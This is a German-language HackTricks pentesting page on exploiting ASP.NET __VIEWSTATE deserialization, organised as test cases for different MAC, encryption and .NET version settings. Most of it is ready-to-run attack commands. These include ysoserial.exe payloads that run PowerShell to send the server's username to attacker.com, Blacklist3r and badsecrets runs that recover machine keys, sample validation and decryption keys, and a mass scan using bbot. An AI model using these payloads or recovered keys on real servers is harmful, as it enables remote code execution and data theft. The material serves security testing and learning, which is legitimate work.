hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

214 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ausnutzen von \_\_VIEWSTATE, ohne die Geheimnisse zu kennen
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Was ist ViewState
**ViewState** dient als Standardmechanismus in ASP.NET, um Daten von Seiten und Steuerelementen über Webseiten hinweg beizubehalten. Während der HTML-Generierung einer Seite werden der aktuelle Zustand der Seite und Werte, die während eines Postbacks erhalten bleiben sollen, in base64-codierten Zeichenfolgen serialisiert. Diese Zeichenfolgen werden dann in versteckte ViewState-Felder platziert.
ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kombinationen charakterisiert werden:
* **Base64**:
* Dieses Format wird verwendet, wenn sowohl die Attribute `EnableViewStateMac` als auch `ViewStateEncryptionMode` auf false gesetzt sind.
* **Base64 + MAC (Message Authentication Code) aktiviert**:
* Die Aktivierung von MAC wird durch Setzen des Attributes `EnableViewStateMac` auf true erreicht. Dies bietet eine Integritätsprüfung für ViewState-Daten.
* **Base64 + Verschlüsselt**:
* Die Verschlüsselung wird angewendet, wenn das Attribut `ViewStateEncryptionMode` auf true gesetzt ist und gewährleistet die Vertraulichkeit der ViewState-Daten.
## Testfälle
Das Bild ist eine Tabelle, die verschiedene Konfigurationen für ViewState in ASP.NET basierend auf der .NET-Framework-Version darstellt. Hier ist eine Zusammenfassung des Inhalts:
1. Für **jede Version von .NET**, wenn sowohl MAC als auch Verschlüsselung deaktiviert sind, wird kein MachineKey benötigt, und somit gibt es keine anwendbare Methode, um ihn zu identifizieren.
2. Für **Versionen unter 4.5**, wenn MAC aktiviert ist, aber die Verschlüsselung nicht, wird ein MachineKey benötigt. Die Methode zur Identifizierung des MachineKeys wird als "Blacklist3r" bezeichnet.
3. Für **Versionen unter 4.5**, unabhängig davon, ob MAC aktiviert oder deaktiviert ist, wenn die Verschlüsselung aktiviert ist, wird ein MachineKey benötigt. Die Identifizierung des MachineKeys ist eine Aufgabe für "Blacklist3r - Zukünftige Entwicklung".
4. Für **Versionen 4.5 und höher** erfordern alle Kombinationen von MAC und Verschlüsselung (ob beide wahr sind oder einer wahr ist und der andere falsch) einen MachineKey. Der MachineKey kann mit "Blacklist3r" identifiziert werden.
### Testfall: 1 EnableViewStateMac=false und viewStateEncryptionMode=false
Es ist auch möglich, den ViewStateMAC vollständig zu deaktivieren, indem der Registrierungsschlüssel `AspNetEnforceViewStateMac` auf null gesetzt wird in:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifizierung von ViewState-Attributen**
Sie können versuchen festzustellen, ob ViewState durch das Capturing eines Requests mit diesem Parameter in BurpSuite MAC-geschützt ist. Wenn kein MAC verwendet wird, um den Parameter zu schützen, können Sie ihn mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ausnutzen.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Testfall 1.5 Wie Testfall 1, aber der ViewState-Cookie wird nicht vom Server gesendet
Entwickler können **ViewState entfernen**, sodass es kein Teil des HTTP-Requests wird (der Benutzer erhält dieses Cookie nicht).\
Man könnte annehmen, dass, wenn **ViewState nicht vorhanden** ist, ihre Implementierung vor potenziellen Sicherheitslücken geschützt ist, die durch ViewState-Deserialisierung entstehen könnten.\
Das ist jedoch nicht der Fall. Wenn wir den **ViewState-Parameter** zum Anforderungskörper hinzufügen und unser serialisiertes Payload, das mit ysoserial erstellt wurde, senden, können wir immer noch **Codeausführung** erreichen, wie in **Fall 1** gezeigt.
### Testfall: 2 .Net < 4.5 und EnableViewStateMac=true & ViewStateEncryptionMode=false
Um **ViewState MAC zu aktivieren** für eine **bestimmte Seite**, müssen wir folgende Änderungen an einer bestimmten aspx-Datei vornehmen:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Wir können dies auch für die **gesamte** Anwendung tun, indem wir es in der **web.config**-Datei wie unten gezeigt einstellen:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
Da der Parameter dieses Mal durch MAC geschützt ist, benötigen wir zunächst den verwendeten Schlüssel, um den Angriff erfolgreich auszuführen.
Sie können versuchen, [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) zu verwenden, um den verwendeten Schlüssel zu finden.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, daher gibt es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit. Für .NET-Viewstates gibt es ein "Python-Blacklist3r"-Dienstprogramm, das der schnellste Weg ist, es zu verwenden.
Es kann entweder direkt mit dem Viewstate und dem Generator bereitgestellt werden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Oder es kann direkt mit der Ziel-URL verbunden werden und versuchen, den Viewstate aus dem HTML herauszuschneiden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Um nach gefährdeten Viewstates im großen Maßstab zu suchen, kann das `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) Modul in Verbindung mit der Subdomain-Enumeration verwendet werden:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Wenn Sie Glück haben und der Schlüssel gefunden wird, können Sie mit dem Angriff mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht vom Server gesendet wird**, müssen Sie den `--generator`-Parameter **nicht angeben, aber diese**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Testfall: 3 .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true
In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und Sie **benötigen den Machine Key, um Ihr Payload zu verschlüsseln**, um die Schwachstelle auszunutzen.
**In diesem Fall ist das** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **Modul in Entwicklung...**
**Vor .NET 4.5** kann ASP.NET einen **unverschlüsselten** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, selbst wenn **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **überprüft nur** das **Vorhandensein** des **`__VIEWSTATEENCRYPTED`** Parameters im Request. **Wenn man diesen Parameter entfernt und das unverschlüsselte Payload sendet, wird es dennoch verarbeitet.**
Daher können Angreifer, wenn sie einen Weg finden, um den Machinekey über eine andere Schwachstelle wie Dateitraversal zu erhalten, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wird, verwendet werden, um RCE mithilfe der ViewState-Deserialisierungsschwachstelle durchzuführen.
* Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus dem Request, um die ViewState-Deserialisierungsschwachstelle auszunutzen, sonst wird ein Viewstate-MAC-Validierungsfehler zurückgegeben und der Angriff schlägt fehl.
### Testfall: 4 .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false außer beide Attribute auf false gesetzt
Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den untenstehenden Parameter in der web.config-Datei wie unten gezeigt angeben.
```xml
<httpRuntime targetFramework="4.5" />
```
Alternativ kann dies durch Angabe der folgenden Option im `machineKey`-Parameter der web.config-Datei durchgeführt werden.
```bash
compatibilityMode="Framework45"
```
Wie zuvor ist der **Wert verschlüsselt.** Um also ein **gültiges Nutzlast zu senden, benötigt der Angreifer den Schlüssel**.
Du kannst versuchen, [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) zu verwenden, um den verwendeten Schlüssel zu finden:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Für eine ausführlichere Beschreibung von IISDirPath und TargetPagePath [siehe hier](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Oder mit [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (mit einem Generatorwert):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Sobald ein gültiger Machine-Schlüssel identifiziert wurde, **ist der nächste Schritt, ein serialisiertes Payload zu generieren, indem** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **verwendet wird**.
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den `--generator`-Parameter mit diesem Wert zu **verwenden** und die Parameter `--path` und `--apppath` zu **omitieren**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsschwachstelle führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der in einer Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" zu finden ist. Für weitere Details darüber, wie der Ausnutzungsprozess funktioniert und wie Tools wie Blacklist3r zur Identifizierung des MachineKeys verwendet werden können, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
### Testfall 6 ViewStateUserKeys werden verwendet
Die **ViewStateUserKey**-Eigenschaft kann dazu verwendet werden, sich gegen einen **CSRF-Angriff** zu **verteidigen**. Wenn ein solcher Schlüssel in der Anwendung definiert wurde und wir versuchen, das **ViewState**-Payload mit den bisher besprochenen Methoden zu generieren, wird das **Payload nicht von der Anwendung verarbeitet**.\
Sie müssen einen weiteren Parameter verwenden, um das Payload korrekt zu erstellen:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Ergebnis einer erfolgreichen Ausnutzung <a href="#poc" id="poc"></a>
Für alle Testfälle, wenn das ViewState YSoSerial.Net-Payload **erfolgreich** funktioniert, antwortet der Server mit "**500 Interner Serverfehler**" und der Antwortinhalt lautet "**Die Zustandsinformationen sind ungültig für diese Seite und könnten beschädigt sein**" und wir erhalten die OOB-Anfrage.
Überprüfen Sie [hier weitere Informationen](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
## Referenzen
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie noch heute, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>